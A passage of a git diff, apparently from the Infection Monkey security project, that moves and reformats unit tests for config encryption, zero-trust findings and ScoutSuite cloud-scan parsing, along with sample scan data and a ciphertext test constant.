+ "+MVRZfbgcaFyGdO86sJv5TfRjCV7RmJOeW9uXGBErkVJCofp42vkRuqTg5fe"
+ "/LFGGl3VsNBwaUVMjuGYkmFpWWQrcnja5a5MQDwLUB5"
+ "+zzk24tdPDZcv4SxKfMu6gu07gjfSmekuPRznRPL9X4BOw3QRd0j2DvztWtljUP3pWITM4fbkXKtd8xJUKjaSys1wXj"
+ "/IJdp1JSJRb49lZTQ0IIedy/7K4UoJFUcynvCajIWOrnZpouzs4Er8mTTK8FeQEPbF3C"
+ "/8h8J8NKKIrkFAUbjqc2y6MSXv+YhCNahStpFL/6avIrJkf0cpsAKLwbcNRm3yTHguMWF+D6"
+ "+XKmFloAcAVdCo8NQ34cJnCrD49lQQUztedxCLBwerLXcdU8+JMj"
+ "/rlY2KrDdiAgKyZnPfJdsJirsjCyYg7sLnjldSQvdZbYDrJwQDxKpuKQfVRTlGs7cryazqW9gleXaeCn3YjjZgT4sMRC"
+ "vTw06iC2kl4Hu/zYS/qQbebtM2cjV0DJFMnMSVeX0xFLU1lgV/c6yTXr5Aj8eLl551luJosQ"
+ "/EQiwAUrUriQZY4g0ydhOStX4nMoEjBogH6AyJIAaAig2wCQZaAorqW712ihxjnfX86KiBxDBE19sIQjIv2tp0Nml0lf"
+ "oaH19iqmZgqH79KmTIdVBEFg0LIImPuBzxlPferszFSKslbP3HisWWfTDeF8QnBeBjBjhvSTXibj1uzvcs8+dAs17w6i"
+ "/QxHNKHzPK5Yb+/aEFYED3SgZ0NrhHi2TXSGzP4wGjMj96GRqDlVOx6Sg4Nyvhqm2rMtXpWI848KK7VZ"
+ "/BQddFttCiqXOm1P6oHu7ilHwG8cRau/GREyIsHQnWXWGXJFs2+s4vAxcQBMcm5yx8w3vYTiC+dxVivwrk+HYFWa"
+ "+Gs5s7490LyKqEFy9l7H4RTOhTlVJ3/f8yr6LRErBD7+5IzDeNlI"
+ "/dyfbEW5GyBtgR9bZPziawP5Ue8XhMJhXNf3r5mORmnr"
+ "+5M2e26BK3Zt4axjnQ82YRpfYsEJSNUgmYBS28qDV53NhouldyKVr0VwsCs2Lg5JYc1ejJPQEFi2w7RwvCkdcfOGqAnLy"
+ "1U8m+8uX5VZYjEdimDzA+LJQ2/zJmYREr0TWcjRmK"
+ "/MYyCXbJXarUhv0nhm9IT74qy36budxt60ub7zO0oemwCXw7uniS/MNdDaNWszdHHZ8zSDDI"
+ "/8lDNyP2QqaoyrJoy8COYX192FoMLvPcdGH7VoX8NX9Eag0OAOHtKZMRgfvvL"
+ "/bfHfAb6OOyGUstNgeheHB0KZj2u4CGdRPRYMSqJ/8LTZO+eSdCsgDDoxH42fO0XFe1T1O"
+ "/xg3HngdfM4tRWGeqXGYYA2cJwLJlHgrlP3MFimPhgT3j46K/OkoNPtZpbplyRBOZLskCXnhelO6EAVGJbfO0H"
+ "+KMo2IbesHjbswZfUpvw"
+)
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py
new file mode 100644
index 000000000..fd3191f50
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py
@@ -0,0 +1,40 @@
+import pytest
+from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption_test import (
+ MALFORMED_CIPHER_TEXT_CORRUPTED,
+ VALID_CIPHER_TEXT,
+)
+
+from monkey_island.cc.services.utils.encryption import (
+ InvalidCredentialsError,
+ decrypt_ciphertext,
+ encrypt_string,
+)
+
+MONKEY_CONFIGS_DIR_PATH = "monkey_configs"
+STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME = "monkey_config_standard.json"
+PASSWORD = "hello123"
+INCORRECT_PASSWORD = "goodbye321"
+
+
+@pytest.mark.slow
+def test_encrypt_decrypt_string(monkey_config_json):
+ encrypted_config = encrypt_string(monkey_config_json, PASSWORD)
+ assert decrypt_ciphertext(encrypted_config, PASSWORD) == monkey_config_json
+
+
+@pytest.mark.slow
+def test_decrypt_string__wrong_password(monkey_config_json):
+ with pytest.raises(InvalidCredentialsError):
+ decrypt_ciphertext(VALID_CIPHER_TEXT, INCORRECT_PASSWORD)
+
+
+@pytest.mark.slow
+def test_decrypt_string__malformed_corrupted():
+ with pytest.raises(ValueError):
+ decrypt_ciphertext(MALFORMED_CIPHER_TEXT_CORRUPTED, PASSWORD)
+
+
+@pytest.mark.slow
+def test_decrypt_string__no_password(monkey_config_json):
+ with pytest.raises(InvalidCredentialsError):
+ decrypt_ciphertext(VALID_CIPHER_TEXT, "")
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_node_states.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_node_states.py
new file mode 100644
index 000000000..e39a0c246
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_node_states.py
@@ -0,0 +1,20 @@
+from unittest import TestCase
+
+from monkey_island.cc.services.utils.node_states import NodeStates, NoGroupsFoundException
+
+
+class TestNodeStates(TestCase):
+ def test_get_group_by_keywords(self):
+ self.assertEqual(NodeStates.get_by_keywords(["island"]), NodeStates.ISLAND)
+ self.assertEqual(
+ NodeStates.get_by_keywords(["running", "linux", "monkey"]),
+ NodeStates.MONKEY_LINUX_RUNNING,
+ )
+ self.assertEqual(
+ NodeStates.get_by_keywords(["monkey", "linux", "running"]),
+ NodeStates.MONKEY_LINUX_RUNNING,
+ )
+ with self.assertRaises(NoGroupsFoundException):
+ NodeStates.get_by_keywords(
+ ["bogus", "values", "from", "long", "list", "should", "fail"]
+ )
diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py
similarity index 64%
rename from monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py
rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py
index a53ef70c8..4440d822e 100644
--- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py
@@ -1,25 +1,28 @@
from monkey_island.cc.services.zero_trust.monkey_findings import monkey_zt_details_service
-from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService
+from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import (
+ MonkeyZTDetailsService,
+)
def test__remove_redundant_events(monkeypatch):
- monkeypatch.setattr(monkey_zt_details_service, 'MAX_EVENT_FETCH_CNT', 6)
+ monkeypatch.setattr(monkey_zt_details_service, "MAX_EVENT_FETCH_CNT", 6)
- # No events are redundant, 8 events in the database, but we display only 6 (3 latest and 3 oldest)
- latest_events = ['6', '7', '8']
- _do_redundant_event_removal_test(latest_events, 8, ['6', '7', '8'])
+ # No events are redundant, 8 events in the database, but we display only 6 (3 latest and 3
+ # oldest)
+ latest_events = ["6", "7", "8"]
+ _do_redundant_event_removal_test(latest_events, 8, ["6", "7", "8"])
# All latest events are redundant (only 3 events in db and we fetched them twice)
- latest_events = ['1', '2', '3']
+ latest_events = ["1", "2", "3"]
_do_redundant_event_removal_test(latest_events, 3, [])
# Some latest events are redundant (5 events in db and we fetched 3 oldest and 3 latest)
- latest_events = ['3', '4', '5']
- _do_redundant_event_removal_test(latest_events, 5, ['4', '5'])
+ latest_events = ["3", "4", "5"]
+ _do_redundant_event_removal_test(latest_events, 5, ["4", "5"])
# None of the events are redundant (6 events in db and we fetched 3 oldest and 3 latest)
- latest_events = ['4', '5', '6']
- _do_redundant_event_removal_test(latest_events, 6, ['4', '5', '6'])
+ latest_events = ["4", "5", "6"]
+ _do_redundant_event_removal_test(latest_events, 6, ["4", "5", "6"])
# No events fetched, should return empty array also
latest_events = []
diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py
similarity index 56%
rename from monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py
rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py
index 80df71786..6248be02c 100644
--- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py
@@ -6,43 +6,45 @@ from common.common_consts import zero_trust_consts
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.models.zero_trust.finding import Finding
from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding
-from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService
-from monkey_island.cc.test_common.fixtures import FixtureEnum
+from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import (
+ MonkeyZTFindingService,
+)
EVENTS = [
Event.create_event(
- title='Process list',
- message='Monkey on gc-pc-244 scanned the process list',
- event_type='monkey_local',
- timestamp=datetime.strptime('2021-01-19 12:07:17.802138', '%Y-%m-%d %H:%M:%S.%f')
+ title="Process list",
+ message="Monkey on gc-pc-244 scanned the process list",
+ event_type="monkey_local",
+ timestamp=datetime.strptime("2021-01-19 12:07:17.802138", "%Y-%m-%d %H:%M:%S.%f"),
),
Event.create_event(
- title='Communicate as new user',
- message='Monkey on gc-pc-244 couldn\'t communicate as new user. '
- 'Details: System error 5 has occurred. Access is denied.',
- event_type='monkey_network',
- timestamp=datetime.strptime('2021-01-19 12:22:42.246020', '%Y-%m-%d %H:%M:%S.%f')
- )
+ title="Communicate as new user",
+ message="Monkey on gc-pc-244 couldn't communicate as new user. "
+ "Details: System error 5 has occurred. Access is denied.",
+ event_type="monkey_network",
+ timestamp=datetime.strptime("2021-01-19 12:22:42.246020", "%Y-%m-%d %H:%M:%S.%f"),
+ ),
]
TESTS = [
zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS,
- zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER
+ zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER,
]
STATUS = [
zero_trust_consts.STATUS_PASSED,
zero_trust_consts.STATUS_FAILED,
- zero_trust_consts.STATUS_VERIFY
+ zero_trust_consts.STATUS_VERIFY,
]
class TestMonkeyZTFindingService:
-
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_create_or_add_to_existing_creation(self):
# Create new finding
- MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[0]])
+ MonkeyZTFindingService.create_or_add_to_existing(
+ test=TESTS[0], status=STATUS[0], events=[EVENTS[0]]
+ )
# Assert that it was properly created
findings = list(Finding.objects())
assert len(findings) == 1
@@ -52,20 +54,26 @@ class TestMonkeyZTFindingService:
assert len(finding_details.events) == 1
assert finding_details.events[0].message == EVENTS[0].message
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_create_or_add_to_existing_addition(self):
# Create new finding
- MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[0]])
+ MonkeyZTFindingService.create_or_add_to_existing(
+ test=TESTS[0], status=STATUS[0], events=[EVENTS[0]]
+ )
# Assert that there's only one finding
assert len(Finding.objects()) == 1
# Add events to an existing finding
- MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[1]])
+ MonkeyZTFindingService.create_or_add_to_existing(
+ test=TESTS[0], status=STATUS[0], events=[EVENTS[1]]
+ )
# Assert there's still only one finding, only events got appended
assert len(Finding.objects()) == 1
assert len(Finding.objects()[0].details.fetch().events) == 2
# Create new finding
- MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[1], status=STATUS[1], events=[EVENTS[1]])
+ MonkeyZTFindingService.create_or_add_to_existing(
+ test=TESTS[1], status=STATUS[1], events=[EVENTS[1]]
+ )
# Assert there was a new finding created, because test and status is different
assert len(MonkeyFinding.objects()) == 2
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py
new file mode 100644
index 000000000..9905868af
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py
@@ -0,0 +1,169 @@
+# This is what our codebase receives after running ScoutSuite module.
+# Object '...': {'...': '...'} represents continuation of similar objects as above
+RAW_SCOUTSUITE_DATA = {
+ "sg_map": {
+ "sg-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"},
+ "sg-abcd": {"region": "ap-northeast-2", "vpc_id": "vpc-abc"},
+ "...": {"...": "..."},
+ },
+ "subnet_map": {
+ "subnet-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"},
+ "subnet-abcd": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"},
+ "...": {"...": "..."},
+ },
+ "provider_code": "aws",
+ "provider_name": "Amazon Web Services",
+ "environment": None,
+ "result_format": "json",
+ "partition": "aws",
+ "account_id": "125686982355",
+ "last_run": {
+ "time": "2021-02-05 16:03:04+0200",
+ "run_parameters": {
+ "services": [],
+ "skipped_services": [],
+ "regions": [],
+ "excluded_regions": [],
+ },
+ "version": "5.10.0",
+ "ruleset_name": "default",
+ "ruleset_about": "This ruleset",
+ "summary": {
+ "ec2": {
+ "checked_items": 3747,
+ "flagged_items": 262,
+ "max_level": "warning",
+ "rules_count": 28,
+ "resources_count": 176,
+ },
+ "s3": {
+ "checked_items": 88,
+ "flagged_items": 25,
+ "max_level": "danger",
+ "rules_count": 18,
+ "resources_count": 5,
+ },
+ "...": {"...": "..."},
+ },
+ },
+ "metadata": {
+ "compute": {
+ "summaries": {
+ "external attack surface": {
+ "cols": 1,
+ "path": "service_groups.compute.summaries.external_attack_surface",
+ "callbacks": [["merge", {"attribute": "external_attack_surface"}]],
+ }
+ },
+ "...": {"...": "..."},
+ },
+ "...": {"...": "..."},
+ },
+ # This is the important part, which we parse to get resources
+ "services": {
+ "ec2": {
+ "regions": {
+ "ap-northeast-1": {
+ "vpcs": {
+ "vpc-abc": {
+ "id": "vpc-abc",
+ "security_groups": {
+ "sg-abc": {
+ "name": "default",
+ "rules": {
+ "ingress": {
+ "protocols": {
+ "ALL": {
+ "ports": {
+ "1-65535": {
+ "cidrs": [{"CIDR": "0.0.0.0/0"}]
+ }
+ }
+ }
+ },
+ "count": 1,
+ },
+ "egress": {
+ "protocols": {
+ "ALL": {
+ "ports": {
+ "1-65535": {
+ "cidrs": [{"CIDR": "0.0.0.0/0"}]
+ }
+ }
+ }
+ },
+ "count": 1,
+ },
+ },
+ }
+ },
+ }
+ },
+ "...": {"...": "..."},
+ }
+ },
+ # Interesting info, maybe could be used somewhere in the report
+ "external_attack_surface": {
+ "52.52.52.52": {
+ "protocols": {"TCP": {"ports": {"22": {"cidrs": [{"CIDR": "0.0.0.0/0"}]}}}},
+ "InstanceName": "InstanceName",
+ "PublicDnsName": "ec2-52-52-52-52.eu-central-1.compute.amazonaws.com",
+ }
+ },
+ # We parse these into ScoutSuite security rules
+ "findings": {
+ "ec2-security-group-opens-all-ports-to-all": {
+ "description": "Security Group Opens All Ports to All",
+ "path": "ec2.regions.id.vpcs.id.security_groups"
+ ".id.rules.id.protocols.id.ports.id.cidrs.id.CIDR",
+ "level": "danger",
+ "display_path": "ec2.regions.id.vpcs.id.security_groups.id",
+ "items": [
+ "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups"
+ ".sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR"
+ ],
+ "dashboard_name": "Rules",
+ "checked_items": 179,
+ "flagged_items": 2,
+ "service": "EC2",
+ "rationale": "It was detected that all ports in the security group are "
+ "open <...>",
+ "remediation": None,
+ "compliance": None,
+ "references": None,
+ },
+ "...": {"...": "..."},
+ },
+ },
+ "...": {"...": "..."},
+ },
+ "service_list": [
+ "acm",
+ "awslambda",
+ "cloudformation",
+ "cloudtrail",
+ "cloudwatch",
+ "config",
+ "directconnect",
+ "dynamodb",
+ "ec2",
+ "efs",
+ "elasticache",
+ "elb",
+ "elbv2",
+ "emr",
+ "iam",
+ "kms",
+ "rds",
+ "redshift",
+ "route53",
+ "s3",
+ "ses",
+ "sns",
+ "sqs",
+ "vpc",
+ "secretsmanager",
+ ],
+ "service_groups": {"...": {"...": "..."}},
+}
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py
new file mode 100644
index 000000000..819d6fe76
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py
@@ -0,0 +1,48 @@
+from enum import Enum
+
+import pytest
+from tests.unit_tests.monkey_island.cc.services.zero_trust.raw_scoutsute_data import (
+ RAW_SCOUTSUITE_DATA,
+)
+
+from common.utils.exceptions import RulePathCreatorNotFound
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser
+
+
+class ExampleRules(Enum):
+ NON_EXSISTENT_RULE = "bogus_rule"
+
+
+ALL_PORTS_OPEN = EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL
+
+EXPECTED_RESULT = {
+ "description": "Security Group Opens All Ports to All",
+ "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id"
+ ".cidrs.id.CIDR",
+ "level": "danger",
+ "display_path": "ec2.regions.id.vpcs.id.security_groups.id",
+ "items": [
+ "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups."
+ "sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR"
+ ],
+ "dashboard_name": "Rules",
+ "checked_items": 179,
+ "flagged_items": 2,
+ "service": "EC2",
+ "rationale": "It was detected that all ports in the security group are open <...>",
+ "remediation": None,
+ "compliance": None,
+ "references": None,
+}
+
+
+def test_get_rule_data():
+ # Test proper parsing of the raw data to rule
+ results = RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ALL_PORTS_OPEN)
+ assert results == EXPECTED_RESULT
+
+ with pytest.raises(RulePathCreatorNotFound):
+ RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ExampleRules.NON_EXSISTENT_RULE)
+ pass
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py
similarity index 57%
rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py
rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py
index c35e55a8f..faea76f4f 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py
@@ -1,22 +1,23 @@
from unittest.mock import MagicMock
-import pytest
import dpath.util
+import pytest
-from monkey_island.cc.database import mongo
-from monkey_island.cc.server_utils import encryptor
-from monkey_island.cc.services.config import ConfigService
from common.config_value_paths import AWS_KEYS_PATH
-from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import is_aws_keys_setup
-from monkey_island.cc.test_common.fixtures import FixtureEnum
+from monkey_island.cc.database import mongo
+from monkey_island.cc.server_utils.encryptor import get_encryptor, initialize_encryptor
+from monkey_island.cc.services.config import ConfigService
+from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import (
+ is_aws_keys_setup,
+)
class MockObject:
pass
-@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
-def test_is_aws_keys_setup():
+@pytest.mark.usefixtures("uses_database")
+def test_is_aws_keys_setup(tmp_path):
# Mock default configuration
ConfigService.init_default_config()
mongo.db = MockObject()
@@ -26,8 +27,13 @@ def test_is_aws_keys_setup():
assert not is_aws_keys_setup()
# Make sure noone changed config path and broke this function
- bogus_key_value = encryptor.encryptor.enc('bogus_aws_key')
- dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_secret_access_key'], bogus_key_value)
- dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_access_key_id'], bogus_key_value)
+ initialize_encryptor(tmp_path)
+ bogus_key_value = get_encryptor().enc("bogus_aws_key")
+ dpath.util.set(
+ ConfigService.default_config, AWS_KEYS_PATH + ["aws_secret_access_key"], bogus_key_value
+ )
+ dpath.util.set(
+ ConfigService.default_config, AWS_KEYS_PATH + ["aws_access_key_id"], bogus_key_value
+ )
assert is_aws_keys_setup()
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py
new file mode 100644
index 000000000..d389ce904
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py
@@ -0,0 +1,66 @@
+from copy import deepcopy
+
+from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501
+ RULES,
+)
+
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_consts import (
+ RULE_LEVEL_DANGER,
+ RULE_LEVEL_WARNING,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import (
+ ScoutSuiteRuleService,
+)
+
+example_scoutsuite_data = {
+ "checked_items": 179,
+ "compliance": None,
+ "dashboard_name": "Rules",
+ "description": "Security Group Opens All Ports to All",
+ "flagged_items": 2,
+ "items": [
+ "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72"
+ ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR",
+ "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65"
+ ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR",
+ ],
+ "level": "danger",
+ "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id"
+ ".cidrs.id.CIDR",
+ "rationale": "It was detected that all ports in the security group are open, "
+ "and any source IP address"
+ " could send traffic to these ports, which creates a wider attack surface "
+ "for resources "
+ "assigned to it. Open ports should be reduced to the minimum needed to "
+ "correctly",
+ "references": [],
+ "remediation": None,
+ "service": "EC2",
+}
+
+
+def test_get_rule_from_rule_data():
+ assert ScoutSuiteRuleService.get_rule_from_rule_data(example_scoutsuite_data) == RULES[0]
+
+
+def test_is_rule_dangerous():
+ test_rule = deepcopy(RULES[0])
+ assert ScoutSuiteRuleService.is_rule_dangerous(test_rule)
+
+ test_rule.level = RULE_LEVEL_WARNING
+ assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule)
+
+ test_rule.level = RULE_LEVEL_DANGER
+ test_rule.items = []
+ assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule)
+
+
+def test_is_rule_warning():
+ test_rule = deepcopy(RULES[0])
+ assert not ScoutSuiteRuleService.is_rule_warning(test_rule)
+
+ test_rule.level = RULE_LEVEL_WARNING
+ assert ScoutSuiteRuleService.is_rule_warning(test_rule)
+
+ test_rule.items = []
+ assert not ScoutSuiteRuleService.is_rule_warning(test_rule)
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py
similarity index 85%
rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py
rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py
index 549d3161e..33e9fd34b 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py
@@ -1,15 +1,18 @@
import pytest
+from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501
+ RULES,
+ SCOUTSUITE_FINDINGS,
+)
from monkey_island.cc.models.zero_trust.finding import Finding
from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding
-from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService
-from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES, SCOUTSUITE_FINDINGS
-from monkey_island.cc.test_common.fixtures import FixtureEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import (
+ ScoutSuiteZTFindingService,
+)
class TestScoutSuiteZTFindingService:
-
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_process_rule(self):
# Creates new PermissiveFirewallRules finding with a rule
ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[0], RULES[0])
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py
new file mode 100644
index 000000000..31cd709b9
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py
@@ -0,0 +1,83 @@
+from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import (
+ get_monkey_finding_dto,
+ get_scoutsuite_finding_dto,
+)
+
+from common.common_consts import zero_trust_consts
+
+
+def save_example_findings():
+ # devices passed = 1
+ _save_finding_with_status(
+ "scoutsuite",
+ zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS,
+ zero_trust_consts.STATUS_PASSED,
+ )
+ # devices passed = 2
+ _save_finding_with_status(
+ "scoutsuite",
+ zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS,
+ zero_trust_consts.STATUS_PASSED,
+ )
+ # devices failed = 1
+ _save_finding_with_status(
+ "monkey", zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_FAILED
+ )
+ # people verify = 1
+ # networks verify = 1
+ _save_finding_with_status(
+ "scoutsuite", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY
+ )
+ # people verify = 2
+ # networks verify = 2
+ _save_finding_with_status(
+ "monkey", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY
+ )
+ # data failed 1
+ _save_finding_with_status(
+ "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED
+ )
+ # data failed 2
+ _save_finding_with_status(
+ "scoutsuite",
+ zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA,
+ zero_trust_consts.STATUS_FAILED,
+ )
+ # data failed 3
+ _save_finding_with_status(
+ "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED
+ )
+ # data failed 4
+ _save_finding_with_status(
+ "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED
+ )
+ # data failed 5
+ _save_finding_with_status(
+ "scoutsuite",
+ zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA,
+ zero_trust_consts.STATUS_FAILED,
+ )
+ # data verify 1
+ _save_finding_with_status(
+ "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY
+ )
+ # data verify 2
+ _save_finding_with_status(
+ "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY
+ )
+ # data passed 1
+ _save_finding_with_status(
+ "scoutsuite",
+ zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA,
+ zero_trust_consts.STATUS_PASSED,
+ )
+
+
+def _save_finding_with_status(finding_type: str, test: str, status: str):
+ if finding_type == "scoutsuite":
+ finding = get_scoutsuite_finding_dto()
+ else:
+ finding = get_monkey_finding_dto()
+ finding.test = test
+ finding.status = status
+ finding.save()
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py
new file mode 100644
index 000000000..838035cbf
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py
@@ -0,0 +1,32 @@
+from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.monkey_finding_data import (
+ get_monkey_details_dto,
+)
+from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501
+ get_scoutsuite_details_dto,
+)
+
+from common.common_consts.zero_trust_consts import (
+ STATUS_FAILED,
+ STATUS_PASSED,
+ TEST_ENDPOINT_SECURITY_EXISTS,
